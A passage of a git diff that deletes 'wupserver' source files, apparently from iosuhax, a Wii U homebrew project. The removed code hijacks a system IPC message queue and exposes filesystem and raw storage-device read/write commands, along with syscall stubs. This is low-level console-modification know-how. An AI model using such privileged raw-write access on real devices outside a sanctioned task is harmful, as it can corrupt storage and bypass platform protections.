message->ioctl.buffer_in[3]; - u32 flags = message->ioctl.buffer_in[4]; - - message->ioctl.buffer_io[0] = FSA_ReadFile(fd, ((u8*)message->ioctl.buffer_io) + 0x40, size, cnt, fileHandle, flags); - break; - } - case IOCTL_FSA_WRITEFILE: - { - int fd = message->ioctl.buffer_in[0]; - u32 size = message->ioctl.buffer_in[1]; - u32 cnt = message->ioctl.buffer_in[2]; - int fileHandle = message->ioctl.buffer_in[3]; - u32 flags = message->ioctl.buffer_in[4]; - - message->ioctl.buffer_io[0] = FSA_WriteFile(fd, ((u8*)message->ioctl.buffer_in) + 0x40, size, cnt, fileHandle, flags); - break; - } - case IOCTL_FSA_STATFILE: - { - int fd = message->ioctl.buffer_in[0]; - int fileHandle = message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_StatFile(fd, fileHandle, (fileStat_s*)(message->ioctl.buffer_io + 1)); - break; - } - case IOCTL_FSA_CLOSEFILE: - { - int fd = message->ioctl.buffer_in[0]; - int fileHandle = message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_CloseFile(fd, fileHandle); - break; - } - case IOCTL_FSA_SETFILEPOS: - { - int fd = message->ioctl.buffer_in[0]; - int fileHandle = message->ioctl.buffer_in[1]; - u32 position = message->ioctl.buffer_in[2]; - - message->ioctl.buffer_io[0] = FSA_SetPosFile(fd, fileHandle, position); - break; - } - case IOCTL_FSA_GETSTAT: - { - int fd = message->ioctl.buffer_in[0]; - char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_GetStat(fd, path, (fileStat_s*)(message->ioctl.buffer_io + 1)); - break; - } - case IOCTL_FSA_REMOVE: - { - int fd = message->ioctl.buffer_in[0]; - char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_Remove(fd, path); - break; - } - case IOCTL_FSA_REWINDDIR: - { - int fd = message->ioctl.buffer_in[0]; - int dirFd = message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_RewindDir(fd, dirFd); - break; - } - case IOCTL_FSA_CHDIR: - { - int fd = message->ioctl.buffer_in[0]; - char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_ChangeDir(fd, path); - break; - } - case IOCTL_FSA_RAW_OPEN: - { - int fd = message->ioctl.buffer_in[0]; - char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_RawOpen(fd, path, (int*)(message->ioctl.buffer_io + 1)); - break; - } - case IOCTL_FSA_RAW_READ: - { - int fd = message->ioctl.buffer_in[0]; - u32 block_size = message->ioctl.buffer_in[1]; - u32 cnt = message->ioctl.buffer_in[2]; - u64 sector_offset = ((u64)message->ioctl.buffer_in[3] << 32ULL) | message->ioctl.buffer_in[4]; - int deviceHandle = message->ioctl.buffer_in[5]; - - message->ioctl.buffer_io[0] = FSA_RawRead(fd, ((u8*)message->ioctl.buffer_io) + 0x40, block_size, cnt, sector_offset, deviceHandle); - break; - } - case IOCTL_FSA_RAW_WRITE: - { - int fd = message->ioctl.buffer_in[0]; - u32 block_size = message->ioctl.buffer_in[1]; - u32 cnt = message->ioctl.buffer_in[2]; - u64 sector_offset = ((u64)message->ioctl.buffer_in[3] << 32ULL) | message->ioctl.buffer_in[4]; - int deviceHandle = message->ioctl.buffer_in[5]; - - message->ioctl.buffer_io[0] = FSA_RawWrite(fd, ((u8*)message->ioctl.buffer_in) + 0x40, block_size, cnt, sector_offset, deviceHandle); - break; - } - case IOCTL_FSA_RAW_CLOSE: - { - int fd = message->ioctl.buffer_in[0]; - int deviceHandle = message->ioctl.buffer_in[1]; - - message->ioctl.buffer_io[0] = FSA_RawClose(fd, deviceHandle); - break; - } - case IOCTL_FSA_CHANGEMODE: - { - int fd = message->ioctl.buffer_in[0]; - char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; - int mode = message->ioctl.buffer_in[2]; - - message->ioctl.buffer_io[0] = FSA_ChangeMode(fd, path, mode); - break; - } - case IOCTL_CHECK_IF_IOSUHAX: - { - message->ioctl.buffer_io[0] = IOSUHAX_MAGIC_WORD; - break; - } - default: - res = IOS_ERROR_INVALID_ARG; - break; - } - - return res; -} - -int ipc_thread(void *arg) -{ - int res; - ipcmessage *message; - /*u32* messageQueue = svcAllocAlign(0xCAFF, 0x20, 0x20); - int queueId = svcCreateMessageQueue(messageQueue, 0x10);*/ - // mcp main thread message queue listening on "/dev/mcp" - int queueId = *(int*)0x5070AEC; - int exit = 0; - while(!exit) - { - res = svcReceiveMessage(queueId, &message, 0); - if(res < 0) - { - usleep(10000); - continue; - } - - switch(message->command) - { - case IOS_OPEN: - { - //log_printf("IOS_OPEN\n"); - res = 0; - break; - } - case IOS_CLOSE: - { - //log_printf("IOS_CLOSE\n"); - exit = 1; - res = 0; - break; - } - case IOS_IOCTL: - { - //log_printf("IOS_IOCTL\n"); - res = ipc_ioctl(message); - break; - } - case IOS_IOCTLV: - { - //log_printf("IOS_IOCTLV\n"); - res = 0; - break; - } - default: - { - //log_printf("unexpected command 0x%X\n", message->command); - res = IOS_ERROR_UNKNOWN_VALUE; - break; - } - } - - svcResourceReply(message, res); - } - - return res; -} - -/*void ipc_init(void) -{ - int threadId = svcCreateThread(ipc_thread, 0, (u32*)(threadStack + sizeof(threadStack)), sizeof(threadStack), 0x78, 1); - if(threadId >= 0) - svcStartThread(threadId); -}*/ diff --git a/wupserver/source/ipc.h b/wupserver/source/ipc.h deleted file mode 100644 index 72aac08..0000000 --- a/wupserver/source/ipc.h +++ /dev/null @@ -1,6 +0,0 @@ -#ifndef _IPC_H_ -#define _IPC_H_ - -void ipc_init(); - -#endif diff --git a/wupserver/source/ipc_types.h b/wupserver/source/ipc_types.h deleted file mode 100644 index 22e14ff..0000000 --- a/wupserver/source/ipc_types.h +++ /dev/null @@ -1,83 +0,0 @@ -#ifndef _IPC_TYPES_H_ -#define _IPC_TYPES_H_ - -#include "types.h" - -#define IOS_COMMAND_INVALID 0x00 -#define IOS_OPEN 0x01 -#define IOS_CLOSE 0x02 -#define IOS_READ 0x03 -#define IOS_WRITE 0x04 -#define IOS_SEEK 0x05 -#define IOS_IOCTL 0x06 -#define IOS_IOCTLV 0x07 -#define IOS_REPLY 0x08 -#define IOS_IPC_MSG0 0x09 -#define IOS_IPC_MSG1 0x0A -#define IOS_IPC_MSG2 0x0B -#define IOS_SUSPEND 0x0C -#define IOS_RESUME 0x0D -#define IOS_SVCMSG 0x0E - - -/* IPC message */ -typedef struct ipcmessage -{ - u32 command; - u32 result; - u32 fd; - u32 flags; - u32 client_cpu; - u32 client_pid; - u64 client_gid; - u32 server_handle; - - union - { - u32 args[5]; - - struct - { - char *device; - u32 mode; - u32 resultfd; - } open; - - struct - { - void *data; - u32 length; - } read, write; - - struct - { - s32 offset; - s32 origin; - } seek; - - struct - { - u32 command; - - u32 *buffer_in; - u32 length_in; - u32 *buffer_io; - u32 length_io; - } ioctl; - struct _ioctlv - { - u32 command; - - u32 num_in; - u32 num_io; - struct _ioctlv *vector; - } ioctlv; - }; - - u32 prev_command; - u32 prev_fd; - u32 virt0; - u32 virt1; -} __attribute__((packed)) ipcmessage; - -#endif diff --git a/wupserver/source/svc.h b/wupserver/source/svc.h deleted file mode 100644 index 8aa8aad..0000000 --- a/wupserver/source/svc.h +++ /dev/null @@ -1,31 +0,0 @@ -#ifndef SVC_H -#define SVC_H - -#include "ipc_types.h" - -typedef struct -{ - void* ptr; - u32 len; - u32 unk; -}iovec_s; - -void* svcAlloc(u32 heapid, u32 size); -void* svcAllocAlign(u32 heapid, u32 size, u32 align); -void svcFree(u32 heapid, void* ptr); -int svcOpen(char* name, int mode); -int svcClose(int fd); -int svcIoctl(int fd, u32 request, void* input_buffer, u32 input_buffer_len, void* output_buffer, u32 output_buffer_len); -int svcIoctlv(int fd, u32 request, u32 vector_count_in, u32 vector_count_out, iovec_s* vector); -int svcInvalidateDCache(void* address, u32 size); -int svcFlushDCache(void* address, u32 size); - -int svcCreateThread(int (*callback)(void* arg), void* arg, u32* stack_top, u32 stacksize, int priority, int detached); -int svcStartThread(int threadId); -int svcCreateMessageQueue(u32 *ptr, u32 n_msgs); -int svcRegisterResourceManager(const char* device, int queueid); -int svcReceiveMessage(int queueid, ipcmessage ** ipc_buf, u32 flags); -int svcResourceReply(ipcmessage * ipc_message, u32 result); -u32 svcRead32(u32 addr); - -#endif diff --git a/wupserver/source/svc.s b/wupserver/source/svc.s deleted file mode 100644 index 1abd79a..0000000 --- a/wupserver/source/svc.s +++ /dev/null @@ -1,99 +0,0 @@ -.section ".text" -.arm -.align 4 - -.global svcCreateThread -.type svcCreateThread, %function -svcCreateThread: - .word 0xE7F000F0 - bx lr - -.global svcStartThread -.type svcStartThread, %function -svcStartThread: - .word 0xE7F007F0 - bx lr - -.global svcCreateMessageQueue -.type svcCreateMessageQueue, %function -svcCreateMessageQueue: - .word 0xE7F00CF0 - bx lr - -.global svcReceiveMessage -.type svcReceiveMessage, %function -svcReceiveMessage: - .word 0xE7F010F0 - bx lr - -.global svcAlloc -.type svcAlloc, %function -svcAlloc: - .word 0xE7F027F0 - bx lr - -.global svcAllocAlign -.type svcAllocAlign, %function -svcAllocAlign: - .word 0xE7F028F0 - bx lr - -.global svcFree -.type svcFree, %function -svcFree: - .word 0xE7F029F0 - bx lr - -.global svcRegisterResourceManager -.type svcRegisterResourceManager, %function -svcRegisterResourceManager: - .word 0xE7F02CF0 - bx lr - -.global svcOpen -.type svcOpen, %function -svcOpen: - .word 0xE7F033F0 - bx lr - -.global svcClose -.type svcClose, %function -svcClose: - .word 0xE7F034F0 - bx lr - -.global svcIoctl -.type svcIoctl, %function -svcIoctl: - .word 0xE7F038F0 - bx lr - -.global svcIoctlv -.type svcIoctlv, %function -svcIoctlv: - .word 0xE7F039F0 - bx lr - -.global svcResourceReply -.type svcResourceReply, %function -svcResourceReply: - .word 0xE7F049F0 - bx lr - -.global svcInvalidateDCache -.type svcInvalidateDCache, %function -svcInvalidateDCache: - .word 0xE7F051F0 - bx lr - -.global svcFlushDCache -.type svcFlushDCache, %function -svcFlushDCache: - .word 0xE7F052F0 - bx lr - -.global svcRead32 -.type svcRead32, %function -svcRead32: - .word 0xE7F081F0 - bx lr diff --git a/wupserver/source/types.h b/wupserver/source/types.h deleted file mode 100644 index 832bc29..0000000 --- a/wupserver/source/types.h +++ /dev/null @@ -1,29 +0,0 @@ -#ifndef TYPES_H -#define TYPES_H - - #include - #include - - #define U64_MAX UINT64_MAX - - typedef uint8_t u8; - typedef uint16_t u16; - typedef uint32_t u32; - typedef uint64_t u64; - - typedef int8_t s8; - typedef int16_t s16; - typedef int32_t s32; - typedef int64_t s64; - - typedef volatile u8 vu8; - typedef volatile u16 vu16; - typedef volatile u32 vu32; - typedef volatile u64 vu64; - - typedef volatile s8 vs8; - typedef volatile s16 vs16; - typedef volatile s32 vs32; - typedef volatile s64 vs64; - -#endif